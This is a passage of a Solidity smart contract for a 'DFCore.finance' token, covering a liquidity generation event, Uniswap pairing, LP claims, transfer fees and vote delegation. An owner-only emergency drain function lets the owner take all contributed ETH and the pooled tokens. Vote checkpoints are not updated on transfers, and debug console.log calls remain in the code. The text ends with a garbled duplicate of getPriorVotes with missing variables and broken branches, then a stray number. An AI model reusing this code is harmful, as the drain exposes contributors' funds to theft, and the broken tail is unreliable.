p1, p2, p3)); } function log(address p0, bool p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3)); } function log(address p0, bool p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,string)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, uint p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,uint,address)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,string)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, string memory p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,string,address)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,string)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, bool p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,bool,address)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, uint p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,uint)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, string memory p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,string)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, bool p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,bool)", p0, p1, p2, p3)); } function log(address p0, address p1, address p2, address p3) internal view { _sendLogPayload(abi.encodeWithSignature("log(address,address,address,address)", p0, p1, p2, p3)); } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract NBUNIERC20 is Context, INBUNIERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; event LiquidityAddition(address indexed dst, uint value); event LPTokenClaimed(address dst, uint value); uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 public constant initialSupply = 5000e18; // 5k uint256 public contractStartTimestamp; /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function initialSetup() internal { _name = "DFCore.finance"; _symbol = "DFCORE"; _decimals = 18; _mint(address(this), initialSupply); contractStartTimestamp = block.timestamp; createUniswapPairMainnet(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public override view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ // function balanceOf(address account) public override returns (uint256) { // return _balances[account]; // } function balanceOf(address _owner) public override view returns (uint256) { return _balances[_owner]; } IUniswapV2Router02 public uniswapRouterV2; IUniswapV2Factory public uniswapFactory; address public tokenUniswapPair; function createUniswapPairMainnet(address router, address factory) onlyOwner public returns (address) { uniswapRouterV2 = IUniswapV2Router02(router != address(0) ? router : 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // For testing uniswapFactory = IUniswapV2Factory(factory != address(0) ? factory : 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); // For testing require(tokenUniswapPair == address(0), "Token: pool already created"); tokenUniswapPair = uniswapFactory.createPair( address(uniswapRouterV2.WETH()), address(this) ); return tokenUniswapPair; } //// Liquidity generation logic /// Steps - All tokens tat will ever exist go to this contract /// This contract accepts ETH as payable /// ETH is mapped to people /// When liquidity generationevent is over veryone can call /// the mint LP function // which will put all the ETH and tokens inside the uniswap contract /// without any involvement /// This LP will go into this contract /// And will be able to proportionally be withdrawn baed on ETH put in /// A emergency drain function allows the contract owner to drain all ETH and tokens from this contract /// After the liquidity generation event happened. In case something goes wrong, to send ETH back string public liquidityGenerationParticipationAgreement = "I agree that the developers and affiliated parties of the dfcore team are not responsible for your funds"; function getSecondsLeftInLiquidityGenerationEvent() public view returns (uint256) { require(liquidityGenerationOngoing(), "Event over"); console.log("3 days since start is", contractStartTimestamp.add(3 days), "Time now is", block.timestamp); return contractStartTimestamp.add(3 days).sub(block.timestamp); } function liquidityGenerationOngoing() public view returns (bool) { console.log("3 days since start is", contractStartTimestamp.add(3 days), "Time now is", block.timestamp); console.log("liquidity generation ongoing", contractStartTimestamp.add(3 days) < block.timestamp); return contractStartTimestamp.add(3 days) > block.timestamp; } // Emergency drain in case of a bug // Adds all funds to owner to refund people // Designed to be as simple as possible function emergencyDrain24hAfterLiquidityGenerationEventIsDone() public onlyOwner { require(contractStartTimestamp.add(4 days) < block.timestamp, "Liquidity generation grace period still ongoing"); // About 24h after liquidity generation happens (bool success, ) = msg.sender.call.value(address(this).balance)(""); require(success, "Transfer failed."); _balances[msg.sender] = _balances[address(this)]; _balances[address(this)] = 0; } uint256 public totalLPTokensMinted; uint256 public totalETHContributed; uint256 public LPperETHUnit; bool public LPGenerationCompleted; // Sends all avaibile balances and mints LP tokens // Possible ways this could break addressed // 1) Multiple calls and resetting amounts - addressed with boolean // 2) Failed WETH wrapping/unwrapping addressed with checks // 3) Failure to create LP tokens, addressed with checks // 4) Unacceptable division errors . Addressed with multiplications by 1e18 // 5) Pair not set - impossible since its set in constructor function addLiquidityToUniswapdfcorexWETHPair() public onlyOwner { require(liquidityGenerationOngoing() == false, "Liquidity generation onging"); require(LPGenerationCompleted == false, "Liquidity generation already finished"); totalETHContributed = address(this).balance; IUniswapV2Pair pair = IUniswapV2Pair(tokenUniswapPair); console.log("Balance of this", totalETHContributed / 1e18); //Wrap eth address WETH = uniswapRouterV2.WETH(); IWETH(WETH).deposit{value : totalETHContributed}(); require(address(this).balance == 0 , "Transfer Failed"); IWETH(WETH).transfer(address(pair),totalETHContributed); emit Transfer(address(this), address(pair), _balances[address(this)]); _balances[address(pair)] = _balances[address(this)]; _balances[address(this)] = 0; pair.mint(address(this)); totalLPTokensMinted = pair.balanceOf(address(this)); console.log("Total tokens minted",totalLPTokensMinted); require(totalLPTokensMinted != 0 , "LP creation failed"); LPperETHUnit = totalLPTokensMinted.mul(1e18).div(totalETHContributed); // 1e18x for change console.log("Total per LP token", LPperETHUnit); require(LPperETHUnit != 0 , "LP creation failed"); LPGenerationCompleted = true; } mapping (address => uint) public ethContributed; // Possible ways this could break addressed // 1) No ageement to terms - added require // 2) Adding liquidity after generaion is over - added require // 3) Overflow from uint - impossible there isnt that much ETH aviable // 4) Depositing 0 - not an issue it will just add 0 to tally function addLiquidity(bool agreesToTermsOutlinedInLiquidityGenerationParticipationAgreement) public payable { require(liquidityGenerationOngoing(), "Liquidity Generation Event over"); require(agreesToTermsOutlinedInLiquidityGenerationParticipationAgreement, "No agreement provided"); ethContributed[msg.sender] += msg.value; // Overflow protection from safemath is not neded here totalETHContributed = totalETHContributed.add(msg.value); // for front end display during LGE. This resets with definietly correct balance while calling pair. emit LiquidityAddition(msg.sender, msg.value); } // Possible ways this could break addressed // 1) Accessing before event is over and resetting eth contributed -- added require // 2) No uniswap pair - impossible at this moment because of the LPGenerationCompleted bool // 3) LP per unit is 0 - impossible checked at generation function function claimLPTokens() public { require(LPGenerationCompleted, "Event not over yet"); require(ethContributed[msg.sender] > 0 , "Nothing to claim, move along"); IUniswapV2Pair pair = IUniswapV2Pair(tokenUniswapPair); uint256 amountLPToTransfer = ethContributed[msg.sender].mul(LPperETHUnit).div(1e18); pair.transfer(msg.sender, amountLPToTransfer); // stored as 1e18x value for change ethContributed[msg.sender] = 0; emit LPTokenClaimed(msg.sender, amountLPToTransfer); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public virtual override view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function setShouldTransferChecker(address _transferCheckerAddress) public onlyOwner { transferCheckerAddress = _transferCheckerAddress; } address public transferCheckerAddress; function setFeeDistributor(address _feeDistributor) public onlyOwner { feeDistributor = _feeDistributor; } address public feeDistributor; /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub( amount, "ERC20: transfer amount exceeds balance" ); (uint256 transferToAmount, uint256 transferToFeeDistributorAmount) = IFeeApprover(transferCheckerAddress).calculateAmountsAfterFee(sender, recipient, amount); // Addressing a broken checker contract require(transferToAmount.add(transferToFeeDistributorAmount) == amount, "Math broke, does gravity still work?"); _balances[recipient] = _balances[recipient].add(transferToAmount); emit Transfer(sender, recipient, transferToAmount); if(transferToFeeDistributorAmount > 0 && feeDistributor != address(0)){ _balances[feeDistributor] = _balances[feeDistributor].add(transferToFeeDistributorAmount); emit Transfer(sender, feeDistributor, transferToFeeDistributorAmount); if(feeDistributor != address(0)){ IdfcoreVault(feeDistributor).addPendingRewards(transferToFeeDistributorAmount); } } } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub( amount, "ERC20: burn amount exceeds balance" ); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // dfcoreToken with Governance. contract DFCore is NBUNIERC20 { /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor() public { initialSetup(); } mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "dfcore::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "dfcore::delegateBySig: invalid nonce"); require(now <= expiry, "dfcore::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "dfcore::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying dfcore tokens (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "dfcore::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
* @notice Determine the prior number of votes for an account as of a block number @dev Block number must be a finalized block or else this function will revert to prevent misinformation. @param account The address of the account to check @param blockNumber The block number to get the vote balance at @return The number of votes the account had as of the given block/ First check most recent balance Next check implicit zero balance
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "dfcore::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; lower = center; upper = center - 1; } } return checkpoints[account][lower].votes; }
15,072,459
